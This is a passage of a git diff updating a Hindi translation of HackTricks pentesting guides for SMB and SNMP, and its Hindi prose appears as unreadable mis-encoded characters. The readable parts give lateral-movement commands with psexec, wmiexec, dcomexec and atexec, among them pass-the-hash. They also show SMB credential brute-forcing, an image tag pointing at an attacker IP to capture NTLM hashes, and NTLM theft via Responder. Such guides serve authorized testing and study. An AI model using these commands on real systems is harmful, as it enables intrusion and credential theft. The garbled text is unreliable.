рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред\ +рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ** (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (**psexec** **рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдореЗрдВ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --**рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ-**-)ред\ +**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** рдХреЗ рд▓рд┐рдП [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)ред\ **kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред ```bash #If no password is provided, it will be prompted @@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП, **port 135** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреБрдкрдЪрд╛рдк рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред\ +рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП **port 135** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪреБрдкрдЪрд╛рдк рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред\ **kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред ```bash #If no password is provided, it will be prompted @@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░реНрдмреЗрд░реЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред +**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░рдмреЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -рдХрдорд╛рдВрдб рдХреЛ рдЯрд╛рд╕реНрдХ рд╢реЗрдбреНрдпреВрд▓рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред\ +рдХрдорд╛рдВрдб рдХреЛ рдЯрд╛рд╕реНрдХ рд╢реЗрдбреНрдпреВрд▓рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП)ред\ **kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред ```bash ./atexec.py [[domain/]username[:password]@] "command" @@ -419,9 +419,9 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **рдпреВрдЬрд░реНрд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕** +## **рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** -**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** +**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдПрдХ рдЦрд╛рддреЗ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name @@ -435,7 +435,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рд╣реЛрд╕реНрдЯ рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдЬрдм рдПрдХ рдкреГрд╖реНрда SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"` -рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ: +рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрддрд╛ рд╣реИ: - URLDownloadToFile - URLDownloadToCache @@ -452,7 +452,7 @@ Windows рдкреБрд╕реНрддрдХрд╛рд▓рдп URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВ ## NTLM Theft -SMB Trapping рдХреЗ рд╕рдорд╛рди, рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ Responder рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +SMB Trapping рдХреЗ рд╕рдорд╛рди, рдПрдХ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рдЧрд╛рдиреЗ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рдПрдХ SMB рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдпрд╛рд╕ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 рд╣реИрд╢ рдХреЛ рдПрдХ рдЙрдкрдХрд░рдг рдЬреИрд╕реЗ Responder рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣реИрд╢ рдХреЛ рдлрд┐рд░ рдСрдлрд╝рд▓рд╛рдЗрди рдХреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 249b7e04b..f4b9ac77b 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## Basic Information **SNMP - Simple Network Management Protocol** рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ (рдЬреИрд╕реЗ рд░рд╛рдЙрдЯрд░, рд╕реНрд╡рд┐рдЪ, рдкреНрд░рд┐рдВрдЯрд░, IoTs...) рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред @@ -14,8 +15,8 @@ PORT STATE SERVICE REASON VERSION ### MIB -рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ SNMP рдПрдХреНрд╕реЗрд╕ рд╡рд┐рднрд┐рдиреНрди рдирд┐рд░реНрдорд╛рддрд╛рдУрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рд╕рдВрдпреЛрдЬрдиреЛрдВ рдХреЗ рдмреАрдЪ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, **рдореИрдиреЗрдЬрдореЗрдВрдЯ рдЗрдВрдлреЙрд░реНрдореЗрд╢рди рдмреЗрд╕ (MIB)** рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред MIB рдПрдХ **рд╕реНрд╡рддрдВрддреНрд░ рдкреНрд░рд╛рд░реВрдк рд╣реИ рдЬреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рд╣реИред рдПрдХ MIB рдПрдХ **рдЯреЗрдХреНрд╕реНрдЯ** рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рднреА рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдпреЛрдЧреНрдп **SNMP рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕** рдХреЛ рдПрдХ **рдорд╛рдирдХреАрдХреГрдд** рдкреЗрдбрд╝ рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдХрдо рд╕реЗ рдХрдо рдПрдХ `рдСрдмреНрдЬреЗрдХреНрдЯ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░` (`OID`) рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЖрд╡рд╢реНрдпрдХ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрддреЗ** рдФрд░ рдПрдХ **рдирд╛рдо** рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрдмрдВрдзрд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдкреНрд░рдХрд╛рд░, рдПрдХреНрд╕реЗрд╕ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдФрд░ рд╡рд┐рд╡рд░рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ -MIB рдлрд╝рд╛рдЗрд▓реЗрдВ `рдПрдмреНрд╕реНрдЯреНрд░реИрдХреНрдЯ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдиреЛрдЯреЗрд╢рди рд╡рди` (`ASN.1`) рдЖрдзрд╛рд░рд┐рдд ASCII рдЯреЗрдХреНрд╕реНрдЯ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИрдВред **MIBs рдореЗрдВ рдбреЗрдЯрд╛ рдирд╣реАрдВ рд╣реЛрддрд╛**, рд▓реЗрдХрд┐рди рд╡реЗ **рдпрд╣ рд╕рдордЭрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реА рдЬрд╛рдирдХрд╛рд░реА рдХрд╣рд╛рдВ рдорд┐рд▓реЗрдЧреА** рдФрд░ рдпрд╣ рдХреИрд╕реА рджрд┐рдЦрддреА рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ OID рдХреЗ рд▓рд┐рдП рдорд╛рди рд▓реМрдЯрд╛рддреА рд╣реИ, рдпрд╛ рдХреМрди рд╕рд╛ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ SNMP рдПрдХреНрд╕реЗрд╕ рд╡рд┐рднрд┐рдиреНрди рдирд┐рд░реНрдорд╛рддрд╛рдУрдВ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░ рд╕рдВрдпреЛрдЬрдиреЛрдВ рдХреЗ рдмреАрдЪ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, **рдореИрдиреЗрдЬрдореЗрдВрдЯ рдЗрдВрдлреЙрд░реНрдореЗрд╢рди рдмреЗрд╕ (MIB)** рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред MIB рдПрдХ **рд╕реНрд╡рддрдВрддреНрд░ рдкреНрд░рд╛рд░реВрдк рд╣реИ рдЬреЛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рд╣реИред рдПрдХ MIB рдПрдХ **рдкрд╛рда** рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рднреА рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдпреЛрдЧреНрдп **SNMP рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕** рдХреЛ рдПрдХ **рдорд╛рдирдХреАрдХреГрдд** рдкреЗрдбрд╝ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдХрдо рд╕реЗ рдХрдо рдПрдХ `рдСрдмреНрдЬреЗрдХреНрдЯ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░` (`OID`) рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЖрд╡рд╢реНрдпрдХ **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрддреЗ** рдФрд░ рдПрдХ **рдирд╛рдо** рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕рдВрдмрдВрдзрд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рдкреНрд░рдХрд╛рд░, рдкрд╣реБрдВрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдФрд░ рд╡рд┐рд╡рд░рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред\ +MIB рдлрд╝рд╛рдЗрд▓реЗрдВ `рдПрдмреНрд╕реНрдЯреНрд░реИрдХреНрдЯ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдиреЛрдЯреЗрд╢рди рд╡рди` (`ASN.1`) рдЖрдзрд╛рд░рд┐рдд ASCII рдкрд╛рда рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рддреА рд╣реИрдВред **MIBs рдореЗрдВ рдбреЗрдЯрд╛ рдирд╣реАрдВ рд╣реЛрддрд╛**, рд▓реЗрдХрд┐рди рд╡реЗ рдмрддрд╛рддреЗ рд╣реИрдВ **рдХрд╣рд╛рдБ рдХреМрди рд╕реА рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓реЗрдЧреА** рдФрд░ рд╡рд╣ рдХреИрд╕реА рджрд┐рдЦрддреА рд╣реИ, рдЬреЛ рд╡рд┐рд╢реЗрд╖ OID рдХреЗ рд▓рд┐рдП рдорд╛рди рд▓реМрдЯрд╛рддреА рд╣реИ, рдпрд╛ рдХреМрди рд╕рд╛ рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### OIDs @@ -23,16 +24,16 @@ MIB рдлрд╝рд╛рдЗрд▓реЗрдВ `рдПрдмреНрд╕реНрдЯреНрд░реИрдХреНрдЯ рд╕рд┐рдВрдЯреИ MIB рдСрдмреНрдЬреЗрдХреНрдЯ IDs, рдпрд╛ OIDs, рдХреЗ рдЙрдЪреНрдЪрддрдо рд╕реНрддрд░ рд╡рд┐рднрд┐рдиреНрди рдорд╛рдирдХ-рдирд┐рд░реНрдзрд╛рд░рдг рд╕рдВрдЧрдардиреЛрдВ рдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрди рд╢реАрд░реНрд╖ рд╕реНрддрд░реЛрдВ рдХреЗ рднреАрддрд░ рд╡реИрд╢реНрд╡рд┐рдХ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдерд╛рдУрдВ рдФрд░ рдорд╛рдирдХреЛрдВ рдХреЗ рд▓рд┐рдП рдврд╛рдВрдЪрд╛ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ рдХреЛ рдирд┐рдЬреА рд╢рд╛рдЦрд╛рдПрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рд╕реНрд╡рддрдВрддреНрд░рддрд╛ рджреА рдЬрд╛рддреА рд╣реИред рдЗрди рд╢рд╛рдЦрд╛рдУрдВ рдХреЗ рднреАрддрд░, рдЙрдирдХреЗ рдкрд╛рд╕ **рдЕрдкрдиреЗ рдЙрддреНрдкрд╛рдж рд▓рд╛рдЗрдиреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдмрдВрдзрд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╕реНрд╡рд╛рдпрддреНрддрддрд╛** рд╣реЛрддреА рд╣реИред рдпрд╣ рдкреНрд░рдгрд╛рд▓реА рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ рдФрд░ рдорд╛рдирдХреЛрдВ рдХреЗ рдмреАрдЪ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдФрд░ рд╕рдВрдЧрдард┐рдд рд╡рд┐рдзрд┐ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ рдХреЛ рдирд┐рдЬреА рд╢рд╛рдЦрд╛рдПрдБ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рд╕реНрд╡рддрдВрддреНрд░рддрд╛ рджреА рдЬрд╛рддреА рд╣реИред рдЗрди рд╢рд╛рдЦрд╛рдУрдВ рдХреЗ рднреАрддрд░, рдЙрдирдХреЗ рдкрд╛рд╕ **рдЕрдкрдиреЗ рдЙрддреНрдкрд╛рдж рд▓рд╛рдЗрдиреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рдмрдВрдзрд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╕реНрд╡рд╛рдпрддреНрддрддрд╛** рд╣реЛрддреА рд╣реИред рдпрд╣ рдкреНрд░рдгрд╛рд▓реА рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХреНрд░реЗрддрд╛рдУрдВ рдФрд░ рдорд╛рдирдХреЛрдВ рдХреЗ рдмреАрдЪ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрд░рдЪрд┐рдд рдФрд░ рд╕рдВрдЧрдард┐рдд рд╡рд┐рдзрд┐ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИред ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -рдЖрдк рдпрд╣рд╛рдВ рд╡реЗрдм рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **OID рдкреЗрдбрд╝** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдиреЗрд╡рд┐рдЧреЗрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) рдпрд╛ **рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ OID рдХрд╛ рдХреНрдпрд╛ рдЕрд░реНрде рд╣реИ** (рдЬреИрд╕реЗ `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) рдкрд░ рдЬрд╛рдХрд░ред\ -рдХреБрдЫ **рдкреНрд░рд╕рд┐рджреНрдз OIDs** рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) рдХреЗ рднреАрддрд░ рдЬреЛ MIB-2 рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╕рд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рдмрдВрдзрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ (SNMP) рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдФрд░ рдЗрд╕ **OID рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд OIDs** рд╕реЗ рдЖрдк рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрд╕реНрдЯ рдбреЗрдЯрд╛ (рд╕рд┐рд╕реНрдЯрдо рдбреЗрдЯрд╛, рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдбреЗрдЯрд╛...) рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдпрд╣рд╛рдБ рд╡реЗрдм рд╕реЗ **OID рдкреЗрдбрд╝** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдиреЗрд╡рд┐рдЧреЗрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) рдпрд╛ **рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ OID рдХрд╛ рдХреНрдпрд╛ рдорддрд▓рдм рд╣реИ** (рдЬреИрд╕реЗ `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) рдкрд░ рдЬрд╛рдХрд░ред\ +рдХреБрдЫ **рдкреНрд░рд╕рд┐рджреНрдз OIDs** рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ 